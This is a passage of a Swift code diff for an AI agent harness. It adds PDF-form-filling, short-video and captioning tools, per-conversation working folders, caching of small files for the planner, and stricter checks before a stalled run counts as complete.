+/// output path(s). The executor reports `.failed` (keeping `text`) whenever `succeeded` is false.
+public struct HarnessCaptionOutcome: Sendable {
+ public var text: String
+ public var succeeded: Bool
+ public var producedFiles: [String]
+
+ public init(text: String, succeeded: Bool, producedFiles: [String] = []) {
+ self.text = text
+ self.succeeded = succeeded
+ self.producedFiles = producedFiles
+ }
+}
+
/// Outcome of the multimodal arm of `llm.generate` — a model call over a local audio/video file.
/// Distinguishes the cases a caller can act on (re-chunk a truncated transcript, fix an unreadable,
/// oversized, or non-media file) instead of collapsing every failure to a bare nil.
@@ -545,6 +648,24 @@ public struct HarnessBuiltInToolServices: Sendable {
/// nil when no backend is wired). The runtime supplies an engine that runs the bundled ffmpeg; the cut
/// math is fixed code, not composed by the model.
public var mediaCutter: (@Sendable (HarnessMediaCutRequest) async -> HarnessMediaCutResult?)?
+ /// End-to-end PDF form filling behind `pdf.fill`: a form + data in, a filled PDF out. The runtime
+ /// supplies an orchestrator that reads the form, makes ONE bounded mapping inference, applies the
+ /// values with the bundled `pdf-fill`, and verifies — so the planner fills a form in a single call
+ /// instead of a read→map→set loop it tends to abandon before writing. nil ⇒ the tool reports
+ /// unavailable.
+ public var formFiller: (@Sendable (HarnessFormFillRequest) async -> HarnessFormFillOutcome)?
+ /// End-to-end short-form video behind `shorts.make`: a source + clip count in, captioned vertical clips
+ /// out. The runtime supplies a deterministic orchestrator that transcribes on-device, makes ONE bounded
+ /// inference to pick the moments, then cuts/reframes/captions each clip in fixed code — so the planner
+ /// makes a whole shorts run in a single call instead of a ~37-step loop it pays for at every tool. nil ⇒
+ /// the tool reports unavailable.
+ public var shortsMaker: (@Sendable (HarnessShortsRequest) async -> HarnessShortsOutcome)?
+ /// End-to-end subtitling/translation behind `media.caption`: a video in, a captioned video out. The
+ /// runtime supplies a deterministic orchestrator that transcribes on-device, optionally translates with
+ /// ONE model call, builds the SRT in code, and burns it with a known-good encoder — so the planner
+ /// captions a video in a single call instead of hand-building and debugging the ffmpeg/SRT plumbing.
+ /// nil ⇒ the tool reports unavailable.
+ public var captioner: (@Sendable (HarnessCaptionRequest) async -> HarnessCaptionOutcome)?
public init(
memoryEntries: [HarnessMemoryEntry] = [],
@@ -568,7 +689,10 @@ public struct HarnessBuiltInToolServices: Sendable {
imageGenerator: (@Sendable (HarnessImageGenerationRequest) async -> HarnessImageGenerationResult?)? = nil,
videoGenerator: (@Sendable (HarnessVideoGenerationRequest) async -> HarnessVideoGenerationResult?)? = nil,
transcriber: (@Sendable (HarnessTranscriptionRequest) async -> HarnessTranscriptionResult?)? = nil,
- mediaCutter: (@Sendable (HarnessMediaCutRequest) async -> HarnessMediaCutResult?)? = nil
+ mediaCutter: (@Sendable (HarnessMediaCutRequest) async -> HarnessMediaCutResult?)? = nil,
+ formFiller: (@Sendable (HarnessFormFillRequest) async -> HarnessFormFillOutcome)? = nil,
+ shortsMaker: (@Sendable (HarnessShortsRequest) async -> HarnessShortsOutcome)? = nil,
+ captioner: (@Sendable (HarnessCaptionRequest) async -> HarnessCaptionOutcome)? = nil
) {
self.memoryEntries = memoryEntries
self.skillRegistry = skillRegistry
@@ -592,6 +716,9 @@ public struct HarnessBuiltInToolServices: Sendable {
self.videoGenerator = videoGenerator
self.transcriber = transcriber
self.mediaCutter = mediaCutter
+ self.formFiller = formFiller
+ self.shortsMaker = shortsMaker
+ self.captioner = captioner
}
}
@@ -672,6 +799,12 @@ public enum BuiltInHarnessToolExecutors {
return await webFetch(context, services: services)
case "web.automate":
return await webAutomate(context, services: services)
+ case "pdf.fill":
+ return await formFill(context, services: services)
+ case "shorts.make":
+ return await shortsMake(context, services: services)
+ case "media.caption":
+ return await captionVideo(context, services: services)
case "files.describe":
return await filesDescribe(context, services: services)
case "files.write":
@@ -2355,6 +2488,125 @@ public enum BuiltInHarnessToolExecutors {
)
}
+ /// `pdf.fill` — fill a fillable PDF form end to end. The planner gives the form and the data; the
+ /// injected orchestrator reads the form, maps every value in ONE bounded inference, writes the filled
+ /// PDF with the bundled `pdf-fill`, and verifies. This exists because the read→map→set loop, left to
+ /// the planner, reliably stalls before the write — here the write is not the planner's decision.
+ private static func formFill(
+ _ context: HarnessToolExecutionContext,
+ services: HarnessBuiltInToolServices
+ ) async -> HarnessToolResult {
+ guard let filler = services.formFiller else {
+ return failed(context, "PDF form filling is not configured.", reason: "formFillUnavailable")
+ }
+ guard let form = trimmed(context.call.input["form"]) else {
+ return invalidInput(context, "pdf.fill requires a `form` — the path to the fillable PDF.")
+ }
+ guard let data = trimmed(context.call.input["data"]) else {
+ return invalidInput(context, "pdf.fill requires `data` — a path to the data file, or the data itself as text.")
+ }
+ let workingDirectory = context.worldModel.facts[ConversationWorkspace.baseDirFactKey]
+ let request = HarnessFormFillRequest(
+ form: form,
+ data: data,
+ out: trimmed(context.call.input["out"]),
+ workingDirectory: (workingDirectory?.isEmpty == false) ? workingDirectory : nil
+ )
+ let outcome = await filler(request)
+ guard outcome.succeeded else {
+ let message = outcome.text.isEmpty ? "The form could not be filled." : outcome.text
+ return failed(context, message, reason: "formFillFailed", metadata: ["text": message])
+ }
+ var metadata = ["text": outcome.text]
+ if let outPath = outcome.outPath { metadata["filePath"] = outPath }
+ return success(
+ context,
+ summary: outcome.text,
+ facts: ["lastAcceptedTool": context.call.name],
+ metadata: metadata
+ )
+ }
+
+ /// `shorts.make` — turn a long video into captioned vertical clips end to end. The planner gives the
+ /// source and an optional clip count; the injected orchestrator transcribes on-device, makes ONE bounded
+ /// inference to pick the moments, then cuts/reframes/captions each clip in fixed code and returns the
+ /// finished files. This exists because the download→transcribe→cut→reframe→caption recipe, left to the
+ /// planner, costs a model round-trip at every step and clip — here the whole run is one tool call.
+ private static func shortsMake(
+ _ context: HarnessToolExecutionContext,
+ services: HarnessBuiltInToolServices
+ ) async -> HarnessToolResult {
+ guard let maker = services.shortsMaker else {
+ return failed(context, "Short-form video is not configured.", reason: "shortsUnavailable")
+ }
+ guard let source = trimmed(context.call.input["source"]) else {
+ return invalidInput(context, "shorts.make requires a `source` — a local video path or a URL.")
+ }
+ let count = trimmed(context.call.input["count"]).flatMap { Int($0) }
+ let workingDirectory = context.worldModel.facts[ConversationWorkspace.baseDirFactKey]
+ let request = HarnessShortsRequest(
+ source: source,
+ desiredCount: count,
+ aspect: trimmed(context.call.input["aspect"]),
+ workingDirectory: (workingDirectory?.isEmpty == false) ? workingDirectory : nil
+ )
+ let outcome = await maker(request)
+ guard outcome.succeeded else {
+ let message = outcome.text.isEmpty ? "No clips could be produced." : outcome.text
+ return failed(context, message, reason: "shortsFailed", metadata: ["text": message])
+ }
+ var metadata = ["text": outcome.text]
+ if !outcome.producedFiles.isEmpty {
+ metadata["paths"] = outcome.producedFiles.joined(separator: "\n")
+ }
+ return success(
+ context,
+ summary: outcome.text,
+ facts: ["lastAcceptedTool": context.call.name],
+ metadata: metadata
+ )
+ }
+
+ /// `media.caption` — subtitle or translate a video end to end. The planner gives the video (and a target
+ /// language to translate into); the injected orchestrator transcribes on-device, optionally translates in
+ /// ONE call, builds the SRT in code, and burns it with a known-good encoder. This exists because the
+ /// transcribe→SRT→burn recipe, left to the planner, reliably explodes into a model-authored-SRT cleanup
+ /// loop and encoder/duration debugging — dozens of round-trips for a five-step job.
+ private static func captionVideo(
+ _ context: HarnessToolExecutionContext,
+ services: HarnessBuiltInToolServices
+ ) async -> HarnessToolResult {
+ guard let captioner = services.captioner else {
+ return failed(context, "Video captioning is not configured.", reason: "captionUnavailable")
+ }
+ guard let source = trimmed(context.call.input["source"]) else {
+ return invalidInput(context, "media.caption requires a `source` — a local video path or a URL.")
+ }
+ let workingDirectory = context.worldModel.facts[ConversationWorkspace.baseDirFactKey]
+ let request = HarnessCaptionRequest(
+ source: source,
+ translateTo: trimmed(context.call.input["translateTo"]),
+ clipStart: trimmed(context.call.input["clipStart"]),
+ clipDuration: trimmed(context.call.input["clipDuration"]),
+ workingDirectory: (workingDirectory?.isEmpty == false) ? workingDirectory : nil
+ )
+ let outcome = await captioner(request)
+ guard outcome.succeeded else {
+ let message = outcome.text.isEmpty ? "The video could not be captioned." : outcome.text
+ return failed(context, message, reason: "captionFailed", metadata: ["text": message])
+ }
+ var metadata = ["text": outcome.text]
+ if !outcome.producedFiles.isEmpty {
+ metadata["paths"] = outcome.producedFiles.joined(separator: "\n")
+ }
+ return success(
+ context,
+ summary: outcome.text,
+ facts: ["lastAcceptedTool": context.call.name],
+ metadata: metadata
+ )
+ }
+
private static func timingWait(_ context: HarnessToolExecutionContext) async -> HarnessToolResult {
let requested = context.call.input["seconds"].flatMap(Double.init) ?? 1
let seconds = min(max(requested, 0.1), 10)
diff --git a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessCoordinator.swift b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessCoordinator.swift
index f434d57b..02d9e978 100644
--- a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessCoordinator.swift
+++ b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessCoordinator.swift
@@ -139,6 +139,15 @@ public actor HarnessAgentCoordinator {
private var tasksByID: [String: HarnessAgentState] = [:]
private var eventsByTaskID: [String: [HarnessAgentEvent]] = [:]
+ /// Agents whose workspace-root creation has already been attempted this session. When the directory
+ /// can't be created (read-only home, no permission, disk full) the baseDir fact never gets set, so the
+ /// fast path can't short-circuit; this guard stops `ensureWorkspaceRoot` from re-reading the
+ /// conversation and re-issuing the failing `createDirectory` syscall on every planning step.
+ private var workspaceRootAttempted: Set<String> = []
+ /// Cache of small working-directory text files already read for the `workspace.files` fact, keyed by
+ /// absolute path. Invalidated when the file's modification time changes, so a step that rewrites a file
+ /// re-reads it but an unchanged file is not re-read every planning step.
+ private var fileContentCache: [String: (mtime: Date, content: String)] = [:]
/// Ephemeral, in-memory only: follow-up instructions queued against a running loop, drained at the
/// top of the next loop iteration. Deliberately not part of the persisted `HarnessAgentState` — a
/// queued message only matters to a live loop, and the drained text is folded into the persisted
@@ -576,6 +585,22 @@ public actor HarnessAgentCoordinator {
return ConversationWorkspace.decode(convo.metadata[ConversationWorkspace.metadataKey])
}
+ /// Whether this conversation has recorded at least one produced deliverable — a real output file a tool
+ /// wrote (an image, a `files.write`, a shell command's `-o` output), not the agent's scratch reads. The
+ /// runtime uses this to refuse to upgrade a planner give-up into "complete" on a run that only scouted:
+ /// reading the form and dumping pages to files is not producing the filled PDF.
+ public func producedAnyDeliverable(agentID: String) async -> Bool {
+ let conversationID: String?
+ if let cached = tasksByID[agentID] {
+ conversationID = cached.conversationID
+ } else {
+ conversationID = await conversationStore?.agentSnapshot(id: agentID)?.conversationID
+ }
+ guard let conversationID,
+ let workspace = await conversationWorkspace(conversationID: conversationID) else { return false }
+ return !workspace.deliverables.isEmpty
+ }
+
/// Record produced deliverables onto the conversation workspace, creating the conversation record if
/// this is the first one. Loads → updates → persists the canonical copy in conversation metadata.
public func recordWorkspaceDeliverables(
@@ -625,6 +650,53 @@ public actor HarnessAgentCoordinator {
await store.upsertConversation(convo)
}
+ /// Ensure the conversation has a dedicated working directory on disk before the planner takes its first
+ /// action. Created once per conversation as `<output-location>/<goal-slug>-<short-id>/` (Downloads by
+ /// default; user-configurable) and stored as the workspace `root`, it becomes the shell's working
+ /// directory and the base relative paths resolve
+ /// against — so a task's intermediate and output files (a `fields.json` dump, a filled PDF) land in one
+ /// owned folder instead of loose in the user's home root. Idempotent and cheap: once the working
+ /// directory is seeded its path is the `workspace.baseDir` fact, so later iterations return immediately.
+ public func ensureWorkspaceRoot(agentID: String) async {
+ // Fast path: once seeded, the working directory's path is the baseDir fact — skip all store I/O.
+ if let cached = tasksByID[agentID],
+ let base = cached.worldModel.facts[ConversationWorkspace.baseDirFactKey], !base.isEmpty {
+ return
+ }
+ // Already tried (and failed) to create the directory this session — don't re-read the store and
+ // re-issue the failing syscall every step; the run falls back to home for its lifetime.
+ if workspaceRootAttempted.contains(agentID) { return }
+ guard let store = conversationStore else { return }
+ let existing: HarnessAgentState?
+ if let cached = tasksByID[agentID] {
+ existing = cached
+ } else {
+ existing = await store.agentSnapshot(id: agentID)
+ }
+ guard let task = existing else { return }
+ let conversationID = task.conversationID
+ var convo = await store.conversation(id: conversationID)
+ ?? HarnessConversation(id: conversationID, title: "")
+ var workspace = ConversationWorkspace.decode(convo.metadata[ConversationWorkspace.metadataKey])
+ ?? ConversationWorkspace()
+ if let root = workspace.root, !root.isEmpty, FileManager.default.fileExists(atPath: root) {
+ return
+ }
+ let path = ConversationWorkspace.defaultRootPath(goal: task.goal, conversationID: conversationID)
+ // Mark attempted before the syscall so a failure isn't retried every step (see the guard above).
+ workspaceRootAttempted.insert(agentID)
+ do {
+ try FileManager.default.createDirectory(atPath: path, withIntermediateDirectories: true)
+ } catch {
+ // Could not create the working directory; leave root unset so callers fall back to home.
+ return
+ }
+ workspace.root = path
+ convo.metadata[ConversationWorkspace.metadataKey] = workspace.encodedJSON()
+ convo.updatedAt = Date()
+ await store.upsertConversation(convo)
+ }
+
/// Project the conversation workspace into the agent's world model facts so the planner sees, every
/// step, what it has produced and where (and executors get the machine-readable resolve directory).
/// Quiet: persists the snapshot without a lifecycle event, since this is per-step bookkeeping, not a
@@ -652,6 +724,98 @@ public actor HarnessAgentCoordinator {
await conversationStore?.upsertAgentSnapshot(task)
}
+ /// Inline the contents of the small text files in the working directory into the `workspace.files` fact
+ /// the planner reads every step. This is the context-retention fix for the re-read loop: a small input
+ /// (a data file the agent copied in, a map it wrote) kept falling out of the rolling window, so the
+ /// planner re-`cat`/`python`-read it again and again — varying the command each time, which slipped past
+ /// the identical-repeat guard — and burned its whole budget without ever producing output. Holding the
+ /// content as a fact means it is always in front of the model, so re-reading is pointless.
+ ///
+ /// Bounded by construction: only regular UTF-8 text files (binaries like PDFs/images are skipped by a
+ /// NUL-byte sniff, never an extension list), only the few most-recently-changed, each clipped, and a
+ /// small total cap — so a large dump (`fields.json`) or a binary never bloats the prompt. mtime-cached,
+ /// so an unchanged file is not re-read each step.
+ public func refreshFileContentsFact(agentID: String) async {
+ let existing: HarnessAgentState?
+ if let cached = tasksByID[agentID] {
+ existing = cached
+ } else {
+ existing = await conversationStore?.agentSnapshot(id: agentID)
+ }
+ guard var task = existing else { return }
+ let base = task.worldModel.facts[ConversationWorkspace.baseDirFactKey].flatMap { $0.isEmpty ? nil : $0 }
+ let block = base.flatMap { Self.knownFileContentsBlock(workingDirectory: $0, cache: &fileContentCache) }
+ let key = ConversationWorkspace.fileContentsFactKey
+ guard task.worldModel.facts[key] != block else { return }
+ if let block {
+ task.worldModel.facts[key] = block
+ } else {
+ task.worldModel.facts.removeValue(forKey: key)
+ }
+ task.updatedAt = Date()
+ tasksByID[agentID] = task
+ await conversationStore?.upsertAgentSnapshot(task)
+ }
+
+ /// Build the `workspace.files` value: a few of the working directory's small text files, each labeled
+ /// and clipped. Returns nil when there is nothing worth showing. mtime-cached via the passed cache.
+ /// Static and cache-as-parameter so it is unit-testable against a temp directory without the actor.
+ static func knownFileContentsBlock(
+ workingDirectory: String,
+ cache: inout [String: (mtime: Date, content: String)]
+ ) -> String? {
+ let maxRawBytes = 16_384 // skip anything bigger than this on disk (a field dump, a parsed layout)
+ let perFileCap = 2_000 // chars per file in the fact
+ let totalCap = 4_000 // chars across all files in the fact
+ let maxFiles = 6
+ let dir = URL(fileURLWithPath: (workingDirectory as NSString).expandingTildeInPath, isDirectory: true)
+ let keys: [URLResourceKey] = [.isRegularFileKey, .contentModificationDateKey, .fileSizeKey]
+ guard let entries = try? FileManager.default.contentsOfDirectory(
+ at: dir, includingPropertiesForKeys: keys
+ ) else { return nil }
+
+ let candidates: [(url: URL, mtime: Date, size: Int)] = entries.compactMap { url in
+ guard let values = try? url.resourceValues(forKeys: Set(keys)),
+ values.isRegularFile == true,
+ let mtime = values.contentModificationDate,
+ let size = values.fileSize, size > 0, size <= maxRawBytes else { return nil }
+ return (url, mtime, size)
+ }
+ // Smallest first, not newest first. The point of this fact is to stop the planner re-reading its
+ // small INPUTS (a data file copied in, a map it wrote). Those are small; the big files in the
+ // directory are the agent's own scratch dumps (a form view, a field-list JSON) it can re-derive on
+ // demand. Newest-first let a fresh 3 KB dump evict the 1 KB data file and the planner re-read the
+ // data every step — exactly the loop this fact exists to kill.
+ .sorted { $0.size < $1.size }
+
+ var parts: [String] = []
+ var total = 0
+ for candidate in candidates {
+ if parts.count >= maxFiles || total >= totalCap { break }
+ let path = candidate.url.path
+ let content: String
+ if let cached = cache[path], cached.mtime == candidate.mtime {
+ content = cached.content
+ } else if let data = try? Data(contentsOf: candidate.url), let text = FileUnderstandingEngine.decodeText(data) {
+ content = text
+ cache[path] = (candidate.mtime, text)
+ } else {
+ continue // binary or unreadable — skip
+ }
+ // Clip to the smaller of the per-file cap and the budget LEFT in the total cap, so appending this
+ // file can't push the fact past totalCap (the loop-top check only gates entry, not the add).
+ let budget = min(perFileCap, totalCap - total)
+ let clipped = content.count > budget
+ ? String(content.prefix(budget)) + "\n… [clipped]"
+ : content
+ parts.append("• \(candidate.url.lastPathComponent) (\(candidate.size) bytes):\n\(clipped)")
+ total += clipped.count
+ }
+ guard !parts.isEmpty else { return nil }
+ return "Contents of the small files in your working directory — READ THEM HERE, do not re-open them "
+ + "with cat/python/lit:\n" + parts.joined(separator: "\n\n")
+ }
+
/// Appends a note to the most recent tool record's summary. The runtime uses this to warn the
/// planner — in the history it reads every step — that it just repeated a call without learning
/// anything, one step before the stall guard would end the run.
diff --git a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessFileTools.swift b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessFileTools.swift
index 1b3fe701..3e3a1787 100644
--- a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessFileTools.swift
+++ b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessFileTools.swift
@@ -206,26 +206,32 @@ extension BuiltInHarnessToolExecutors {
)
}
- /// Resolve where `files.write` should write. An absolute or `~`-prefixed path is honored exactly, so
- /// a path the user named always wins. A RELATIVE path resolves against the conversation workspace's
- /// current directory (the `workspace.baseDir` fact the runtime maintains) when one exists — this is
- /// how the planner keeps a task's files together by writing `report/chart.svg` instead of recomputing
- /// the absolute base each step. With no workspace yet, a relative path falls back to the user's home,
- /// matching where shell commands run.
+ /// Resolve where `files.write` should write. A RELATIVE path resolves against the conversation
+ /// workspace's current directory (the `workspace.baseDir` fact the runtime maintains) when one exists,
+ /// which is how the planner keeps a task's files together by writing `report/chart.svg`. An absolute or
+ /// `~`-prefixed path is normally honored exactly (a path the user named always wins) — with ONE
+ /// exception: a write aimed directly at a SCATTER ROOT (the bare home root or the top of the user's
+ /// Downloads/Desktop/Documents) is re-rooted into the workspace. The model reflexively drops an
+ /// intermediate or output next to where it found an input (`~/fields.json`, `~/Downloads/out.pdf`), and
+ /// none of those bare roots is where a careful user wants loose files, so this keeps the task's files in
+ /// the one folder it owns. A genuinely user-named subfolder (`~/Documents/Taxes/2024`, a project dir) is
+ /// left untouched. See `ConversationWorkspace.isScatterRoot`.
static func resolveWritePath(_ rawPath: String, in worldModel: HarnessWorldModel) -> URL {
let expanded = (rawPath as NSString).expandingTildeInPath
+ let workspace = (worldModel.facts[ConversationWorkspace.baseDirFactKey]).flatMap {
+ $0.isEmpty ? nil : URL(fileURLWithPath: ($0 as NSString).expandingTildeInPath, isDirectory: true)
+ }
if expanded.hasPrefix("/") {
- return URL(fileURLWithPath: expanded).standardizedFileURL
+ let url = URL(fileURLWithPath: expanded).standardizedFileURL
+ if let workspace, ConversationWorkspace.isScatterRoot(url.deletingLastPathComponent()) {
+ return workspace.appendingPathComponent(url.lastPathComponent).standardizedFileURL
+ }
+ return url
}
// A relative path stays inside its base — the workspace folder when one exists, else home. Keep
// only the non-traversal components so a stray `../../x` can't climb out of the workspace; subfolders
// (`report/chart.svg`) still resolve normally.
- let base: URL
- if let workspace = worldModel.facts[ConversationWorkspace.baseDirFactKey], !workspace.isEmpty {
- base = URL(fileURLWithPath: (workspace as NSString).expandingTildeInPath, isDirectory: true)
- } else {
- base = FileManager.default.homeDirectoryForCurrentUser
- }
+ let base = workspace ?? FileManager.default.homeDirectoryForCurrentUser
let safeComponents = expanded
.split(separator: "/", omittingEmptySubsequences: true)
.filter { $0 != ".." && $0 != "." }
diff --git a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessRuntime.swift b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessRuntime.swift
index 92e4baa5..8a3a0b30 100644
--- a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessRuntime.swift
+++ b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessRuntime.swift
@@ -93,6 +93,11 @@ public struct GenericHarnessRuntime: Sendable {
// reports observations (re-listing, re-verifying) is not real work, so a stuck explorer that never
// produced anything still fails safe — the stall guard's guarantee is preserved.
var hadRealWork = false
+ // Whether the run performed a real, non-read ACTION — a GUI action, a write, a capability tool — as
+ // opposed to only reading/scouting. Combined with a recorded deliverable, this is "the run produced
+ // its result"; on its own it is what lets a FILE-LESS task (play music, answer a question, drive an
+ // app) conclude even though it writes no output file.
+ var performedAction = false
var stepsSinceWorldChange = 0
// Whether the deliverable-progress gate has already nudged this run (one-shot, so a long
// legitimate acquisition isn't repeatedly scolded).
@@ -143,9 +148,15 @@ public struct GenericHarnessRuntime: Sendable {
}
iterations += 1
- // Project the conversation's workspace memory (files produced, chosen base, promoted folder)
- // into the world model before planning so it survives compaction and reaches every step.
+ // Make sure the conversation has its dedicated working directory before anything runs, then
+ // project the workspace memory (working dir, files produced, promoted folder) into the world
+ // model before planning so the shell's cwd and relative paths resolve there and it survives
+ // compaction.
+ await coordinator.ensureWorkspaceRoot(agentID: agentID)
await coordinator.refreshWorkspaceFact(agentID: agentID)
+ // Inline the small working-directory files into a fact so the planner always has them and never
+ // re-reads its own inputs (the re-read loop that burned whole runs without producing anything).
+ await coordinator.refreshFileContentsFact(agentID: agentID)
guard let task = await coordinator.agent(id: agentID), task.status.canExecuteTools else {
if await coordinator.endRunUnlessPending(agentID: agentID) { break loop } else { continue loop }
}
@@ -160,12 +171,21 @@ public struct GenericHarnessRuntime: Sendable {
// A planner that gives up (run.failSafe) AFTER the goal is already produced and verified should
// COMPLETE, not fail — the work exists; only the next decision didn't render (e.g. a transient
// run of empty model replies). The same "do the work, verify, then conclude" rule as the
- // step-budget path. Unrecoverable give-ups (signed out, out of credits) still surface so the
- // user can act on them; a give-up with no real work done still fails.
+ // step-budget path. Unrecoverable give-ups (signed out, out of credits) still surface so the user
+ // can act on them. The upgrade requires that the run actually PRODUCED ITS RESULT — a recorded
+ // deliverable file OR a real non-read action (a GUI task, an answer, playing music, none of which
+ // leave a file). A pure scout — reads and page dumps, no action, no file — still fails honestly,
+ // which is what catches "read the form for a dozen steps then quit without filling it".
var call = plannedCall
+ let producedResult: Bool
+ if performedAction {
+ producedResult = true
+ } else {
+ producedResult = await coordinator.producedAnyDeliverable(agentID: agentID)
+ }
if call.name == "run.failSafe",
!Self.isUnrecoverableFailSafe(call.input["reason"]),
- hadRealWork,
+ producedResult,
await completionWouldBeAccepted(agentID: agentID) {
call = HarnessToolCall(
name: "run.complete",
@@ -187,6 +207,12 @@ public struct GenericHarnessRuntime: Sendable {
!call.name.hasPrefix("run."),
!nonProducingToolNames.contains(call.name) {
hadRealWork = true
+ // A shell READ (a listing, a page dump) flips hadRealWork but is still only scouting, so
+ // it must not count as a real action. Everything else here — a GUI action, a write, a
+ // capability tool — is genuine action a file-less task can conclude on.
+ if !Self.wasShellRead(call: call, result: step.toolResult) {
+ performedAction = true
+ }
}
} else {
stepsSinceWorldChange += 1
@@ -195,18 +221,24 @@ public struct GenericHarnessRuntime: Sendable {
if await coordinator.endRunUnlessPending(agentID: agentID) { break loop } else { continue loop }
}
- // Deliverable-progress done-gate. Once enough steps have passed with no PRODUCING action yet
- // (hadRealWork still false — only reads/observations), nudge once: produce the result now or
- // report the specific blocker. A one-shot annotation, not a hard stop, so a legitimately long
+ // Reconnaissance done-gate. Once enough steps have passed with the run still only scouting —
+ // `producedResult` is false, so no deliverable file AND no real non-read action, just reads,
+ // listings, and scratch dumps — nudge once: produce the result now or report the specific
+ // blocker. Keying on `producedResult` rather than `hadRealWork` is deliberate: a shell read flips
+ // `hadRealWork`, so the old gate never fired for the runs that need it (scout the input for a
+ // dozen steps and quit), while keying on a real action keeps it from scolding a legitimately long
+ // GUI/answer task that has actually been acting. One-shot annotation, not a hard stop, so a long
// acquisition isn't killed; the stall guards below still backstop a true loop.
- if !hadRealWork, !reconNudged, iterations >= Self.maxReconStepsBeforeNudge {
+ if !reconNudged, iterations >= Self.maxReconStepsBeforeNudge, !producedResult {
reconNudged = true
_ = await coordinator.annotateLastToolRecord(
agentID: agentID,
- note: "NOTE: \(iterations) steps in and nothing has been produced toward the deliverable "
- + "yet — only reconnaissance (locating, reading, listing). Stop scouting: take the "
- + "action that creates the result now, or if you are blocked, report the specific "
- + "blocker honestly. Do not re-read or re-list what you already have."
+ note: "NOTE: \(iterations) steps in and you have produced NOTHING yet — only "
+ + "reconnaissance (reading, listing, dumping to scratch files). Stop scouting and "
+ + "PRODUCE THE RESULT now from what you already have: if the task creates or fills a "
+ + "file, write it (the step with an explicit `-o`/`--output`); if it asks a question, "
+ + "give the answer. Reading or listing more is not progress. If you are genuinely "
+ + "blocked, report the specific blocker honestly instead of continuing to scout."
)
}
@@ -370,6 +402,14 @@ public struct GenericHarnessRuntime: Sendable {
/// thing — whether any *producing* action has happened yet — so pure scouting can't run forever.
private static let maxReconStepsBeforeNudge = 8
+ /// A `shell_exec` step that only READ — the executor stamps `shell.effect=read` for a listing, a page
+ /// dump, a probe. It changes the world model and so flips `hadRealWork`, but it is reconnaissance, not a
+ /// produced result, so it must not count as a real action for the done-gates. A shell command that wrote
+ /// a file or had a side effect (`open`, `osascript`) is stamped `write` and does count.
+ private static func wasShellRead(call: HarnessToolCall, result: HarnessToolResult?) -> Bool {
+ call.name == "shell_exec" && result?.metadata["shell.effect"] == "read"
+ }
+
/// Ends a stalled run. A QUIET stall — the planner stopped advancing but isn't thrashing
/// (`noProgress`) — can be a finished task that is merely re-verifying itself, so if it did real work
/// and the goal is evidence-backed, conclude as COMPLETE rather than fail. Every OTHER stall is the
diff --git a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessToolRegistry.swift b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessToolRegistry.swift
index b131bef1..e8e5868c 100644
--- a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessToolRegistry.swift
+++ b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessToolRegistry.swift
@@ -575,9 +575,9 @@ public enum BuiltInHarnessToolCatalog {
descriptor(
"files.write",
pluginID: "core.files",
- summary: "Write text to a file: pass a `path` and the full `content`, and it is saved (creating any missing parent folders). This is how you persist anything you composed when the content is multi-line or too long to inline in a shell command — a subtitle (.srt) file, a script, a config, a note, a document body. Use it instead of a `cat`/`echo` heredoc in shell_exec. A relative `path` (e.g. `notes.md` or `Sources/App.swift`) lands inside the conversation's workspace folder; an absolute or ~ path is written exactly as given. Overwrites by default; pass mode=append to add to the end. Pair it with llm.generate (which returns text) to write generated content exactly where you need it, then act on the file (e.g. `ffmpeg -vf subtitles=…`).",
+ summary: "Write text to a file: pass a `path` and the full `content`, and it is saved (creating any missing parent folders). This is how you persist anything you composed when the content is multi-line or too long to inline in a shell command — a subtitle (.srt) file, a script, a config, a note, a document body. Use it instead of a `cat`/`echo` heredoc in shell_exec. Prefer a relative `path` (e.g. `notes.md` or `Sources/App.swift`): it lands inside the conversation's task folder, which is where your output belongs. An absolute or ~ path is honored, except a bare Downloads/Desktop/Documents/home target is grouped into the task folder so a task's files never scatter loose. Overwrites by default; pass mode=append to add to the end. Pair it with llm.generate (which returns text) to write generated content exactly where you need it, then act on the file (e.g. `ffmpeg -vf subtitles=…`).",
input: [
- "path": "Destination path. Relative (e.g. report/chart.svg) resolves inside the conversation workspace; absolute (e.g. /Users/you/Downloads/ko.srt, leading ~ expanded) is used exactly.",
+ "path": "Destination path. Prefer a relative one (e.g. report/chart.svg): it resolves inside the conversation's task folder. An absolute or ~ path is honored, except a bare Downloads/Desktop/Documents/home target is grouped into the task folder.",
"content": "The full text to write.",
"mode": "\"overwrite\" (default) replaces the file; \"append\" adds to the end."
],
@@ -619,7 +619,7 @@ public enum BuiltInHarnessToolCatalog {
input: [
"prompt": "Description of the image to create.",
"model": "Optional model id override; omit to use the default image model.",
- "outDir": "Optional output directory for the result; omit to save to Downloads."
+ "outDir": "Optional output directory; omit to save into the conversation's task folder (the right default)."
],
output: [
"paths": "Newline-separated paths to the saved image file(s).",
@@ -634,7 +634,7 @@ public enum BuiltInHarnessToolCatalog {
descriptor(
"video.generate",
pluginID: "core.video",
- summary: "Generate a short video clip from a text `prompt` with a generative video model — use when the user asks for a video, clip, animation, or moving footage of a scene. Optionally pass `inputPath` to animate a still image (image-to-video). Generation takes up to a few minutes; this call waits for the result, then writes one .mp4 to Downloads and returns its path. Costs video-generation credits per clip (much more than an image), so confirm before generating several. Not for editing or trimming an existing video file — use the `media` skill (ffmpeg) for that, and not for slideshows of stills.",
+ summary: "Generate a short video clip from a text `prompt` with a generative video model — use when the user asks for a video, clip, animation, or moving footage of a scene. Optionally pass `inputPath` to animate a still image (image-to-video). Generation takes up to a few minutes; this call waits for the result, then writes one .mp4 into the conversation's task folder and returns its path. Costs video-generation credits per clip (much more than an image), so confirm before generating several. Not for editing or trimming an existing video file — use the `media` skill (ffmpeg) for that, and not for slideshows of stills.",
input: [
"prompt": "Description of the video to create — the scene, action, camera, and mood.",
"inputPath": "Optional path to a still image to animate as the first frame (image-to-video).",
